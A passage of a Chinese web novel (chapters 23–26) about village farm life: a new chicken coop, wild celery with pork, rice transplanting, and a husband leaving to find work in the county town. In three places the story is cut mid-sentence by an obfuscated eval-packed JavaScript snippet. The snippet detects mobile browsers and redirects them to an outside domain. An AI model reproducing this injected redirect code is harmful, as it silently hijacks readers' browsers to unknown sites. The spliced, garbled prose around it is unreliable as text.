盛饭菜的家什那都不是碗盘了，统一的大盆搭小盆，每顿饭吃得是热火朝天，唾沫与筷子齐飞，这氛围跟云娘家猪圈也没啥区别了。没办法，但凡动作稍慢点，别说菜了，蒜苗都抢不到一根，餐餐热闹的跟吃席一样。 朱老爷子看这不是办法，人越多抢地越快，吃地越多啊！老婆子每天啥都不干，光做一天三顿就忙的脚打后脑勺，这比养十几头猪还累哩！ 他老人家大手一挥分了家，田亩家财均分成了五份，老两口自个拿一份，平日吃住都分开，只一头老黄牛均分不了，人多力量也大，索性农活就合在一起干。 一下子只用做两个人的饭菜了，江氏从忙碌的锅碗瓢盆中解脱出来，空出来的时间全泡在家畜跟菜园里。房前屋后的边边角角都种满了菜，鸡也养地多，老两口吃不了多少，江氏就提了篮子挨个儿子家送菜送蛋，从不落空。 英娘是最小的儿媳妇，在娘家时就养地娇，江氏本就偏疼小儿子，更是加倍的送菜蛋。 所以英娘虽不养鸡，从年头到年尾也没差过蛋吃，她家的菜园子还要江氏时不时帮忙打理，英娘也就越发的当个甩手掌柜了。 23. 第 23 章 英娘自然是不会孵小鸡的，不过她另有说辞：“那你也不能撇下我跟她来往，我也要孵小鸡。” 杏娘嘴角抽动，无语地看着她：“你家有吃不完的鸡蛋，这不是自找麻烦？” “我不管，反正你俩不能背着我打的火热，没准什么时候你就跟她最要好了。” 对着她一副吃酸喝醋的模样，杏娘好气又好笑，提议她找婆母要母鸡和种蛋。 英娘想都不想一口拒绝，“还是算了，我那几个妯娌可不是吃稀饭的，三个人六只眼睛都盯着我家呢，我懒得跟她们吵，又不是买不起。” 她又不肯自个一个人去找云娘，非拖着杏娘一起，两人一起去了何家。好在云娘一如既往地笑颜以待：“不是什么难事，每年想抱窝的母鸡多，再留下一只就是了。”说着准备了跟杏娘同样的母鸡和种蛋。 英娘脸上露出少许嫌弃：“怎么才这点蛋？够用么？” 杏娘睨了她一眼，没好气的吐槽：“你以为这是你婆母送的鸡蛋呢，这还嫌少，多了母鸡也照顾不来啊！” 云娘笑着补充：“是了，种蛋多了母鸡翅膀兜不住，孵出来也是坏蛋，这些蛋也不是个个都能出小鸡。我家养的鸡多，每年留两只鸡抱窝，你若是怕小鸡不够，也可以抱两窝。” “算了。”英娘不假思索地摇头，“我们家就三口人，鸡蛋多了也吃不完，还要给它们喂食，不划算。” “哟！你还知道什么是划算呢。”杏娘打趣她，恼得英娘冲上去挠痒，两人打闹成一团。 等她们闹够了，云娘再说了一遍注意事项，两人听得直点头。 …… 犁完了水田还要耙一遍，把大块的土碾碎，之后就放满水泡着。 忙完了田里的活计，丛孝继续捣鼓他的鸡笼。鸡笼已经初具雏形，个别细节处还需调整，又过了两天，一个规整齐全的鸡笼出现在杏娘面前。 整个鸡笼由木条拼接而成，能装下十来只鸡，四角由四根粗木支撑，底下的那面离地有一尺，一侧有两个活动的简易小门。 “底下是镂空的，鸡屎掉下来可以用扫把伸进去扫，免得臭烘烘堆在里面不好清理。这两个小门可以上下提拉，早上拉开晚上放下，是不是很方便？最上面可以摆几个草窝，给鸡下蛋。” 丛孝得意洋洋跟媳妇显摆他的杰作，可别小看了这么个玩意，花了他整整十天的时间。 杏娘从左到右绕一圈，满意地点头：“不错，不错，这可比别人家黑乎乎的一个小箱子似的好。有的干脆就放几个箩筐，睡觉下蛋都在里面，鸡屎满地都是，腌臜的不行，这样就很好，放在猪圈也不脏。” 丛孝摇头道：“不放在猪圈，我想过了，放在猪圈还是不好清理，况且你明年也打算养猪，还是放在开阔的地方比较好，你看猪圈前的那片地怎么样？” “你是说那里……”杏娘沉吟半晌，摸着下巴给予肯定，“也不是不行，不过要搭一个草棚才行。” 说干就干，两口子又开始砍树、拉树、劈树枝的忙活起来。 家家的池塘周围都种了一圈水杉，本地的一种常见树木，长得顺溜笔直，树杈子多却不茂密，树冠自下而上依次变小。因而只要勤修剪下面的树枝，树之间的间隔就不用预留那么大，锯掉的树枝正好晒干了留着冬天烧火。 请来垄上的几个堂兄弟一起放倒一棵水杉，粗的部分用作打桩的四根柱子，细的铺在顶上，再盖上旧年枯黄的稻草，贴着灶房的一面墙搭建，一个简陋的草棚子就这么搭好了。 猪圈、茅房和牛棚是竖着灶房盖的，正好灶房后正好空了一小块地，有一年杏娘随手扔了一把冬瓜种子。这下好了，这东西藤蔓长地快，结的冬瓜又大又多，吃不完的冬瓜烂在地里第二年又自个发芽长藤结果，不用人管自顾自长地硕果累累。 以往这片地剩的冬瓜都便宜了丛五老爷家的鸡，用尖嘴啄，用脚踩，吃得肚子鼓胀胀的，下的蛋却没丛三老爷家的份。正所谓他家喂食，别家下蛋，忒不划算。 今年丛孝打算把这片地给围起来，扎上半人高的篱笆墙，正好把草棚连起来。整片地一分为二，一小半养鸡，另一半种冬瓜，吃不完的冬瓜喂鸡，一举两得，肥水不留外人田嘛。 杏娘说想养鸡，丛孝就搞出来这么大阵仗，英娘眼红的不行，“不知道的还以为你家的鸡下的是金蛋呢？” “就算不是金蛋，那也是这条垄上最大的鸡蛋。”杏娘扬起下巴，毫不掩饰她的好心情，“要不然都对不起我付出的这番心血。” “那是你的心血么？那是丛七哥的心血。”英娘不服气的叫嚷，“我每天把鸡喂得饱饱的，我就不信了还能比不过你。” “咱们走着瞧！” …… 为了庆祝鸡棚的大功告成，杏娘决定犒劳全家的五脏庙府，一直没吃肉嘴里都快淡出个鸟来了。 丛孝去镇上买肉，杏娘琢磨着用什么菜来配，菜园里正是青黄不接的时候，能吃的几样早就吃腻了。不过这可难不倒好吃嘴的李杏娘，何况现在又不是大雪覆盖、寒冷刺骨的冬天，万物复苏的季节，随便扯根草出来，根都是甜滋滋的。 田间地头，水沟洼地长满了各种野菜，母女俩提上篮子沿着水沟边找。这可是青叶最爱干的事，跟打猪草不同，打猪草讲究的是速度快，挖的多，要蹲在那手里铲子不能停，别提多无聊了，又累又枯燥。 挖野菜不同啊，野菜虽然多可杂草更多，得趣的是那个寻找的过程。一片野草当中躲藏着几蓬荠菜、马齿苋，找到时别提多欢快了。 杏娘不找别的，只找野芹菜，一种香味独特的野菜，喜欢的人很喜欢，不喜欢的人讨厌无比，闻到气味都要躲开。野芹菜喜欢生长在小水沟边、水田里，要么没有，要么就是一大片。连着根一起挖出来，一股奇特的气味霎时充满整个鼻腔。 青叶捏着鼻子帮娘一起挖，真搞不懂大人怎么喜欢吃这么奇臭无比的东西，打死她她都不吃。 母女俩回到家打了井水洗菜，过了一会丛孝竟回来了。 “今天回来的到是早，肉呢？” “还早呢！”丛孝一脸苦笑，双手一摊，“今天压根就没去镇上，我是走回来的，没有买肉。” 早起周老爷子划船经过丛三老爷家门口，丛孝挥手喊停，恰逢朱青水在丛孝家河边的小码头钓鱼。 靠水的人家每户门前都有一个小码头，简陋些的直接就地挖几层台阶，讲究些的在最底层铺一块石板，少有像丛孝家这么规整的。挖好的台阶用砖头铺的整整齐齐不说，连边缘也用砖做了个隔档。 小码头很长，嵌入河底的高度也深，即便是在枯水的寒冬仍有台阶踩下去不会湿了腿脚。 热天还好，一到了冷天，丛孝家周围的几户人家都爱来这里打水、洗漱。一来不像别处那么滑溜，不会摔个四脚朝天，二来干净爽利不会打湿棉鞋。 最爱这个小码头的人，杏娘还排在第二位，第一位是朱老四朱青水，无他，这里钓鱼最方便不过。他家人少，田亩打理得也不甚勤劳，做完了田里的活就无事可干了。两口子又不是那一等勤快的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457582|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，做半天歇半天的，无所事事的朱青水就爱上了钓鱼。 撒一把鱼食打窝，一根鱼竿甩下去，凉爽的风吹着，头戴草帽，一屁股坐下去能坐一天不挪窝。 看丛孝上了小船去镇上，朱青水也颠颠地跟了上去，嚷着也去买块肉打牙祭。等船行到垄中间过石桥时，正好碰到田里回来的何石。 “田埂上的杂草长得快比人高了，正好割了喂牛。家里的镰刀豁口比缺牙的老太太还大，割起来费劲的很，还是买一把新的好使。”何石坐在船舷上，摘下草帽擦一把汗。 “可不是。”丛孝搭腔，“秧田的秧一天天跟坠着了似得，田梗上的草都割完了两茬，该长的不长，不该长的长得飞快。” 朱青水翻白眼撇嘴：“行了，我的两个好哥哥，就你们俩是勤快人，咱不说这些了行么。我昨天钓了一条黄骨鱼，你们是没看到，那个头，比我一只手掌还长……” 三人从小一起长大，小时候放牛、爬树、偷果子什么没干过。长大后各自成家生子，日子就像夜幕下的皮影戏，活色生香，精彩纷呈，却是无声静默的。时光静悄悄地流淌，白了鬓角，弯了脊背。 好容易三个人凑一堆，那真是有说不完的话，唾沫星子乱飞，爽朗的笑声回荡在宽阔的清波上，丝毫看不出平日的稳重担当。 沿途不断有人上船，一年的忙碌即将拉开序幕，农人要趁着这个空闲把家里空缺的补上，免得忙起来不顺手。一条不大的小船挤得满满当当，胳膊肘横到胸腔上，转个身都困难。 庄户人说话声音似打雷，扯着嗓子生怕别人听不见，满船的人声喧闹，好不热闹。 岸边再有人招手时，周老爷子摆手不再停船，船上挤进去只苍蝇都困难，实在是上不得人。 一时又说起镇上的物价，“米价涨了不少呢，年前卖稻谷时价贱，一过完年倒是涨了。” “哪年不是如此，你要扛得住也可以这时节卖稻谷，每斤还能多个几文。” “要是扛得住还说什么，家底子太薄撑不住啊！” 众人跟着唏嘘不已，靠天吃饭的农户有几个富裕的，都是卯吃寅粮，过一日算一日，哪年收成不好了还得饿肚子。 听人说到银子，丛孝才想起忘到后脑勺的一件事，他转头问何石：“出门急了点，忘了问杏娘要银子，你这里趁手么？” 何石笑得比哭还难看，“我比你更急，一看见你俩连回趟家都顾不上了，你说呢？” 俩人一起侧身看向朱青水，他满脸无辜一耸肩：“我比你俩出息，自个有银子不用找婆娘要，但是你们也知道，我天天出门钓鱼怎么可能把银子带身上？” 片刻后，被轰下船直挺挺立在岸边的三个倒霉蛋望着渐行渐远的小船面面相觑，能赶走三个占着位置办事不靠谱的年轻人，众人巴不得哩！好在船家周老爷子厚道，没有收他们的船资，否则真要笑掉旁人大牙。 “其实刚才应该问一圈的，怎么的也能借到几个钱吧。”朱青水无不惋惜地提议。 丛孝摇头拒绝：“我家现在杜绝一切跟借钱、欠债、赊欠有关的词。” 何石亦是附和：“没错，你家年前闹的那出可真够吓人的，也就你有本事能摆平，我家可惹不起，还不如费点事明天再跑一趟。” “那就走起呗！”朱青水率先迈开步子，“哥儿几个出发吧，这坐船坐一半，走路走一半的，也是新鲜，这一路可有得唠了。” 就这么的三人折腾了一圈又回到了原点，笑得杏娘腰疼，丛三老爷家的吃肉大计只得延迟一日。 24. 第 24 章 切得薄薄的肥嫩五花肉，搭配香气浓郁的野芹菜，一出锅就勾得人口水直流，当然青叶并不包含在内。她鼓着腮帮子气鼓鼓地吃青菜，对那盘散发着奇特味道的肉菜眼睛都不瞟一下。 “你不喜欢吃芹菜，吃肉也行啊！”杏娘劝女儿，真诚推销，“真的，试一下吧，很好吃，我不骗你。” 骗子，这么臭的东西哪里好吃了，香香的肉都变臭了，她宁愿不吃。 看女儿无动于衷，那边两个小子也不讲究臭不臭的，吃肉吃得满嘴流油，总不能就亏了她的嘴。 杏娘转身从碗柜端了一碗豆芽炒肉，“我小时候也非常讨厌野芹菜，你外祖母却很喜欢吃，她一做这个菜我就发脾气。你外祖母就说她小时候也是不爱吃，长大后就喜欢这个味道了，说我肯定也是这样。” 端起碗夹一筷子菜，她接着说道：“那时我还不相信，这么臭的菜怎么可能喜欢呢？没想到还真被你外祖母说中了，现在可不就喜欢上了，你长大后肯定也是这样。” 青叶斩钉截铁地发誓：“我绝对不会喜欢的，就算是长大了也不喜欢。” 杏娘满不在乎地挑眉，这算什么，她以前发的誓可比这狠多了，不照样打嘴。小时候觉得一定不可能的事，长大后就不知不觉地发生了，哪有什么事情是绝对的，时移世易，人总是不断变化的。 吃了好菜好饭那就要干活，不然都对不住进了五脏庙府的那些肥肉。 陈氏在家洗衣、扫地干家务活，其余的三人下秧田开始拔秧。 此时的太阳已经初露锋芒，温暖的光线照耀着大地，裤脚卷至膝盖的人们光着脚踩到水田，仍是被冰得一激灵。捞水拍打几下手臂和小腿肚，皮肤渐渐变得一样冰凉，这时也就感觉不到冷了。 长得有成人手臂长的秧苗牢牢扎根在田里，拔秧时屈膝弯腰半蹲着身体，右手快速来回移动拔秧苗，攥满手掌后塞到左手，右手继续拔。 等两手都攥满后，直起身用左手大拇指垫着，右手扯动旁边的几根茎叶飞速绕一圈塞进大拇指底下，手指抽出。提起秧把涮洗几下根部，手一抛，秧把飞起落在田梗边缘。 整个过程利落干净，行云流水。 拔秧时力道不能太小，不然扯不动不说，还容易拽断叶子根还留在土里；但也不能太大，要不然拔一天秧手掌、胳膊就不能用了，抬一下手都困难。 这就需要一个巧劲，所谓熟能生巧，唯手熟耳，无非就是做得多了无师自通。杏娘刚嫁过来时就不懂得控制力道，扯得右手通红，胳膊酸疼，栽完秧好几天缓不过来。 三个人一通忙碌，丛孝看秧把数差不多了，起身拖了秧把叠在架子上，两个架子放满后用扁担挑了走到栽秧的水田。 等丛孝回来时杏娘洗干净手脚上的泥巴，独自过去栽秧，留父子俩继续拔。 栽秧跟拔秧不同，不需要那么大劲，但是需要两只手配合灵活，动作灵敏。左手快速捻动秧苗的根茎递出，右手接过插入水中，回手拿秧，讲究的就是一个快、狠、准，不拖泥带水。 栽得累了就把左手胳膊肘压在左边膝盖，身体倾斜往左靠，让左腿承受住整个人的大半重量。 栽秧的快慢直接反映到劳动的时间上，动作快的人双脚大张，从左到右插的飞快，又从右到左转回来，身体随之转动。一条秧插到头了，手脚慢的人还在田中间一颗一颗的抬手放下。 有那讲究的人家还在田埂两头拉一条线，紧靠线栽时留一条能踩下一只脚的沟，以便后面拔草、施肥时人能通过。当然大部分懒得多此一举，凭感觉留一条小沟足矣，就是弯弯曲曲的也不妨，要那么好看做甚，还不如多收两斗稻谷。 三个人从太阳偏东忙到西斜，天快黑时，父子俩也过来一起栽，把今天拔的秧苗栽完，一天的劳累也结束了。 农人坐在水沟旁清洗干净腿脚，放下裤腿，三三两两结伴回家。轻快的笑声、说话声散落在土路上，即便是嗓门粗大的人这时也放轻了音量，有气无力啊，还不如留点力气回家扒饭。 跟去年相比，丛孝家田里的人少了一个林氏——丛信是个干吃饭不干活的废物，田亩却足足少了一大半。所以尽管只有三个人，却比往年还要提早手工，也没那么辛劳，就这一点而言，分家也不是一无是处。 春耕结束丛孝修养几天就要出发去县城找活计，杏娘借了周老爷子的小船捞河蚌。不能天天买肉吃，靠水吃水，只能用这些不值钱的水货给男人补一下身子，哄骗下肚皮。 丛孝划船，杏娘握着顶端绑着捞网的竹竿，船慢慢往前移动，水底清澈，河蚌显眼，她眼神又好，一掏就是一个，不一会就装了一篮子。 杏娘还有些意犹未尽，男人劝她：“吃个鲜罢了，捞得多了也是发臭扔掉的份，没那必要。” 吐了两天泥沙的河蚌用热水汆烫，待其开壳取出蚌肉切成细丝，加各色调料和酱后大火爆炒出锅。河蚌肉质脆嫩可口，爽滑易咬，比螺蛳多了另一种鲜。 这回英娘端饭碗过来碰个正着，一边在饭桌上大块朵硕，一边疯狂吐槽朱老爷子。 “今年的秧是老爷子下的，他老人家马前失蹄，那秧何止是长得牢固，简直是定在了原地。本来打算是五个人拔秧，四个人栽的，结果弄成了七个人拔秧，两个人栽，就这还跟不上，栽完要过去帮忙拔。” 她越说越激动，看来在家憋很了，“扯秧扯得我右手快废了，这也就是老爷子干的事，没人敢坑声，否则非得骂地头破血流不可。往常我们家人多，不说是最先收工的吧，那也差不了多少。今年可倒好，这条垄上的人都歇过一轮了，我们还在那可怜巴巴，吭哧吭哧的扯秧墩子，你们说气不气人？” 一番话说得众人憋笑，朱老爷子想必也是恼火的很，这几天老朱家氛围空前和谐，打鸡骂狗的声音消停了不少。 “开头就不顺，看来今年不好过啊！”她略带忧愁地叹息。 “胡说八道什么？”杏娘嗔她一眼，语带安慰，“人都有失手的时候，那些打战的将军也没有常胜的，忙完了就好，接下来好好歇一阵。” 英娘也就随口一说，发泄一通就扔在了脑后。 夜幕降临，大人、小孩洗漱干净上床，只有青叶固执地站在家门口望着河对岸的点点火光不肯挪动，屋里的灯火衬得她的身影格外萧条。 “你想都不用想，我是不可能让你去抓黄鳝的，你也不想想，那都是些半大的小伙子，你个豆丁似得女孩哪比得过他们，跌一跤到水里就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457583|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完蛋了。”杏娘无情地粉碎她的希望，拽了她的胳膊往房里走。 青叶垂头丧气地坐在椅子上，又一次反抗失败。 丛孝看她可怜兮兮的样子，帮腔道：“就在河对岸的水田边找，也不远，要不让她试试，抓不到就死心了。” “不行！”杏娘断然拒绝，“晚间水凉的很，女孩家家的冻坏了可怎么着，世上可没有后悔药吃。” 男人望着自家媳妇但笑不语，管教女儿有一套，轮到自个就耍赖。杏娘装作没看到他的眼神，把小儿子抱到床上。 青果一挨着床铺就如同挣脱了束缚的困兽，翻滚、跳跃满床撒野，嗷嗷叫着冲向老爹。丛孝一把接住小牛犊似的小儿子，陪他顶牛牛，张牙舞爪地玩妖怪吃小孩的游戏。 趁着男人陪儿子玩耍的间隙，杏娘带了女儿去洗漱，送她上床后回到房里。 小儿子已经趴在床里侧睡着了，男人不在房内，她刚想出去找找，房门被推开，丛孝抱着熟睡的青皮走了进来。 “明早就要走了，让老二跟我们睡吧，我也好久没跟大儿子亲香亲香了。”一边说着，一边把老二放在小儿子旁边。 比起胖嘟嘟的老幺，老二明显瘦弱不少，丛孝抚摸着他的脸疼惜地说道：“老二还是亏了身子，虚不受补，吃什么都不养人。等空闲了你去问问岳父他老人家，看看吃个什么调理下，不用担心银子，赚了钱不就是用来花的。” “嗯！”杏娘轻声应下，走到陪嫁箱子前掏出底下的一包银子递给男人，“穷家富路，你这次去的又是人生地不熟的县城，不比走熟了的府城。多带些银子在身上，遇事能有个凑手。” 丛孝接过荷包倒出银子，正好是十两，显然是分家得的那笔钱。 他拨了一半放进钱袋，余下的递还给媳妇，“用不着那么多，何况就两天的路程，就是赶回来也快得很，等找到活计手头就活泛了。” 杏娘叹一口气，皱着眉忧愁地开口：“活计哪是那么好找的，要是这么容易，人人都跑出去打零工了，谁还愿意呆在这穷乡僻壤的地方靠天吃饭。” 当家的能在离家更近的县城干活，自然是比远在天边的府城好，可府城的活是做熟了的，他也算得上老人了，万事不用担心。换到一个新地方就不一样的，事事都要重新来过，要操心的地方何其多。 世上的事真是难以抉择，鱼与熊掌不可兼得。 “不用担心。”丛孝双手搂了媳妇，安慰她，“泥瓦木工的活我都会，有手艺到哪都不怕，即便一时找不到合适的，时间长了总能找到门道。” 杏娘把头靠在男人肩上，轻言细语嘱咐他：“你这次过去不要着急，咱慢慢找，找不到也没关系，回来就是了，日子还长着呢，千万别饿了肚子。也不要去干那种苦力活，累坏了身子不值当。” “你也要保重自个。”男人抚摸着媳妇的长发，“田里的收成算不了什么，那些农活想做就做，不想做就算了，咱家也不靠那几亩田养活。要紧的是照顾好自个跟几个孩子，其他的都是次要的，爹娘身子还硬朗，有什么事就找他们开口，不要自个扛着。” 夜渐深重，即将离别的小夫妻有说不完的担心，随着熄灭的烛火，压得低低的私语声慢慢停歇。 25. 第 25 章 公鸡打鸣的声音断断续续响起，天还是青灰色的，丛孝穿衣起床，这一晚上就没怎么睡着。 “怎么起这么早？”杏娘睡眼惺忪地含糊问了一句，翻个身又睡着了。 “我去看看叶儿。”丛孝穿上布鞋，转头一看，媳妇又迷了过去，他失笑摇头，替她掖好被角。 西屋隔间的床上一个小人儿睡得憨甜，手脚大摊，眉目舒展。丛孝坐在床边摩挲着女儿的小手，满是爱怜。 这是他的第一个孩子，纵使是个女孩，对他来说也是不一样的存在。彼时迎娶心仪姑娘的丛孝满心欢喜，小夫妻俩浓情蜜意，这个孩子的诞生更添喜意。 刚出生的婴孩捧在掌心，像一只大老鼠，皱皱巴巴的。初为人父的新奇很快被孩童没日没夜的啼哭打破，他不懂一个如此瘦弱的小东西，还没他一只胳膊长，怎能发出那样高亢的哭声。 这哭声吵得他心烦，迫不及待卷了行李去上工。 再回来已是几个月后的事情了，当初小猴子样的婴孩长成了个白胖模样，也不那么爱哭了。胖墩墩的露出一口没牙的小嘴巴，活脱脱跟他在府城做工时看到的小弥勒佛神像一个神态，一逗就笑，还会牙牙学语，让人见了心生欢喜。 一别几月，丛孝是想念这个在夜里也哭嚎的女儿的，在府城听不见那哭声，可也还是睡不好。 似乎总能听见她哭狠了没人抱，没人哄，于是哭得越发可怜了。他心里充满了内疚、后悔，这是他的骨血，他血脉的延续，谁都有资格嫌弃她吵，他却不能。 抱着一种补偿的心态，丛孝日日不离手的把女儿抱在手上，夜间也能心平气和地换尿片。被人打趣大男人成天抱着个孩子像什么样，他也毫不在意。 每次离开都依依不舍，等下次回来又变了个样貌。 几年后媳妇先后生下两个男孩，丛孝不再皱眉苦脸地抱怨，心平气和地伺候媳妇坐月子，洗尿片、哄孩子得心应手。可他仍是对女儿充满亏欠，就像是赎罪，向曾经的那个婴孩道歉，他格外心疼这个女儿，关注她的成长。 最后抚摸了几下女儿的额头，丛孝起身走了出去。 看媳妇收拾行囊，丛孝满心不舍，这一次呆在家的时间太长了，久到他不想离开家，“要不等收完菜籽再走？” “那就走不成了。”杏娘手上不停，仔细把衣裳叠整齐，“收完菜籽点黄豆，收蚕豆，点芝麻，林林总总，农活哪有到头的时候。” 天色大亮时，丛孝带着媳妇准备的衣裳鞋袜，两小坛辣酱，一布袋干菜出发去了县城，带着家人依依不舍的想念、期盼。 当家的一走，杏娘心里空落落的不得劲，人在家时不觉得如何，这一离家就觉得哪都不顺手，少了拿主意的人。虽说成婚这么久，早该习惯才是，可每次还是要缓几日才能回过神。 “娘！娘！”小儿子的大喊在门外响起，伴着“噔噔噔”的脚步声，小身影冲了进来，“你看这是什么？” 黑乎乎坚硬的外壳，头上长两根黑白相间的触角，是一只大天牛。 青果骄傲地炫耀：“姐姐抓的，给我了。” “嗯！乖，拿着玩吧。”被小儿子一打岔，杏娘也没了伤感的心思，还不如想想晌午饭吃什么菜的好。她牵了小儿的手去灶房，经过院子时看见丛三老爷在井边磨镰刀。 “爹，地里的菜籽是不是要割了？” “嗯，我早起去瞅了一眼，是时候开镰了，明天早上去割。”丛三老爷一边回答，一边用手指在刀口上来回拨动，眯着眼看了半晌，洒几滴水在磨刀石上继续磨。 …… 油菜籽的茎秆略微发黄，下半部分是黄绿色，果荚表皮凹凸不平。两指一捻，红褐色的籽粒颗颗饱满，如同吸饱了水的露珠，浑圆饱满。 正是割菜籽的好时机，再被太阳晒两天，果荚变黄就容易在地里开裂。割菜籽比割稻谷轻松，毕竟油菜杆高，腰不用弯得那么低。 杏娘跟丛三老爷俩人割了两个早晚，成捆的油菜籽摊开晾晒在家门口的打谷场，暴晒几天就可以碾出来了。 “豌豆苞谷，豌豆苞谷”布谷鸟的叫声遍布乡间田野，灰色鸟儿展翅低飞，巡视着庄稼地，提醒人们蚕豆成熟了。 果荚刚饱满的蚕豆连皮都是嫩的，在加了葱花、蒜瓣的油锅里清炒一下就可食用，家家户户的灶房都飘出蚕豆的清香。 夕阳已不见了踪影，天边残留着火红的余霞，映得大地一片明亮，看来明天又是一个好天气。 端着饭碗的老人三三两两的坐在河边的树墩子上，边扒饭边话家常，碗里的菜大同小异，谁家吃了肉一目了然，惹来一阵艳羡。 丛五老爷正唠嗑的起劲：“那条蜈蚣足有小蛇那么长，我还寻思蛇怎么长脚了，莫不是要飞升成仙了？仔细一看是条蜈蚣，吓得我一铲子过去给它砍成了两截，都成两半了还扭动呢，我再一阵乱剁，砍个稀烂。可惜那时年轻不懂事，多好的泡酒材料啊，生生的糟蹋了。” 一想起这件事，丛五老爷就一脸懊恼，心痛得哆嗦。他老人家没别的爱好，唯独钟情于泡酒，越是稀奇古怪的东西越宝贝。年轻时碰到的这条蜈蚣成了他心里的隐痛，到老再没遇见过这么大只的，可惜了，可惜咯！ 周围的人听得一片咋舌，“这得是多大只啊，说不定人家差一步就羽化飞仙了，结果被你一铲子给了结了，你说说你，这不是造孽么？” 丛五老爷满脸不服气：“它能不能成仙我不知道，但凡晚了那么一步，成仙的就该是我了，我还不下狠手，等着你们吃席呢。” 说得众人哄然大笑，正乐呵呢，忽然闻到一股强烈的、浓烈到不可忽视的臭味，那气味是如此的熟悉。 扭头一看，只见朱青水担着两桶粪水走了过来。两只桶装的满满的，臭不可闻，臭也就罢了，关键是他一走一荡，走一步荡一下，桶里的粪水就跟开花似的落了一地，真真是人走了臭味还香飘十里，可不是熟悉的很。 气得丛五老爷破口大骂：“朱老四，你个混球，你他娘的从小就不干人事。” 朱青水自顾走自个的路：“我怎么不干人事了？我干的可都是正经事，谁有我这么勤快，天都快黑了还要去菜园浇粪。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457584|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你眼里还有没有个长幼尊卑了，没看见这么多人在这吃饭么？你搞这么一出，谁还吃得下？” 两桶满满的粪水可不轻，担着说话费劲，朱青水索性在经过人群时放下粪桶，扶着扁担转过身跟丛五老爷理论：“丛五爹，这事吧您老可怪不着我，吃个饭您老恨不得把碗端到镇上去唠嗑，您要是在自个家里吃，我再怎么臭也臭不到您啊！” “个混小子！”丛五老爷骂骂咧咧起身，横起筷子就要过来抽人，“我看你是皮痒了是吧，今儿替你老子给你松松皮。” 朱青水多机灵一人，矮下身子担起桶就大步走开。他这一快不打紧，桶里的粪水更是成片的往下泼，气得余下的人也骂声四起，捏着碗筷拿起小板凳走人。 河对岸的女人们把这一幕看得清清楚楚，英娘笑骂自家男人：“一要他做事他就出洋相，他就不是干正事的料，粪水都快洒光了。” 青叶也在菜园帮她娘浇水，天气越来越热，几天不下雨，地里的土结成板块，菜苗晒得怏搭搭的。 杏娘在一旁锄草，两天不打理草就长得飞快。用锄头锄松了，还要捡起叶子和根茎扔到路上暴晒，或是拿回去喂猪，若是留在地里过一夜，这些杂草就又重新扎下根。 青叶提着一个小水桶，每根菜苗浇半瓢水，不一会，一桶水就见了底。她想去河边提水，又怕回来时忘记浇到哪了，头一低看见手上的水瓢，便把水瓢放在刚浇过水的菜苗边上。 听到离开的脚步声，杏娘直起身看女儿往河边走，等她把水提来又重新弯下身子，青叶拿起水瓢继续浇下一颗。 看了全程的英娘羡慕地说道：“叶儿可真聪明，浇水都要做个记号，比我们当家的靠谱多了。还是女孩儿疼人，女儿是娘亲的小棉袄啊，我们家的臭小子不到肚子饿不知道回家找娘。” “你要是眼红，怎么不干脆自个生一个？”杏娘调侃她。 “你以为我不想啊？”英娘长叹一口气，“自打生下臭小子，我这肚子就跟坠了石头似得，就是怀不上。我老娘还去抓了药，我又不是吃饱了没事干，年纪轻轻的就开始吃药，我才不吃那苦药汤子。” “不过吧……”她沉吟了一会，接着说，“不过依着老朱家的传统，就是怀上了肯定也是男孩，到时我们一大家子真是比和尚庙都热闹了。嗯……吃的也跟庙里差不多，天天吃素，因为吃不起肉嘛！” 说完她自个就乐得哈哈大笑起来，杏娘也杵着锄头打颤。 此时挑着粪桶的朱青水正好走到自家地头，“笑什么呢这么乐呵，没看到我被丛五爹撵的跟孙子似的？” “那是你自找的。”英娘没好气地白他一眼，“你就不能有个正形，天天嬉皮笑脸地讨人嫌。” “我真是冤枉。”朱青水大声叫屈，“我又没有游手好闲，不做事被你们骂，做事也被你们骂，这日子没法过了。” 他扭头问杏娘：“我挑的粪水有多的，你家的菜地要不要淋一些？” 杏娘摆手，看这两口子逗趣，她的嘴角就没合拢过，“您还是留着自个用吧，我家的浇了水，过两天再淋粪。” 26. 第 26 章 丛五老爷家后院的李子青了，丛小八、小九领着一帮子半大小伙坐在树杈子上吃个过瘾，树底下的青皮两小兄弟也跟着沾光，捡了两衣兜跑回家。 姐弟三一边被酸地龇牙咧嘴，一边又舍不得扔地来回嗦，哈喇子流了一地。 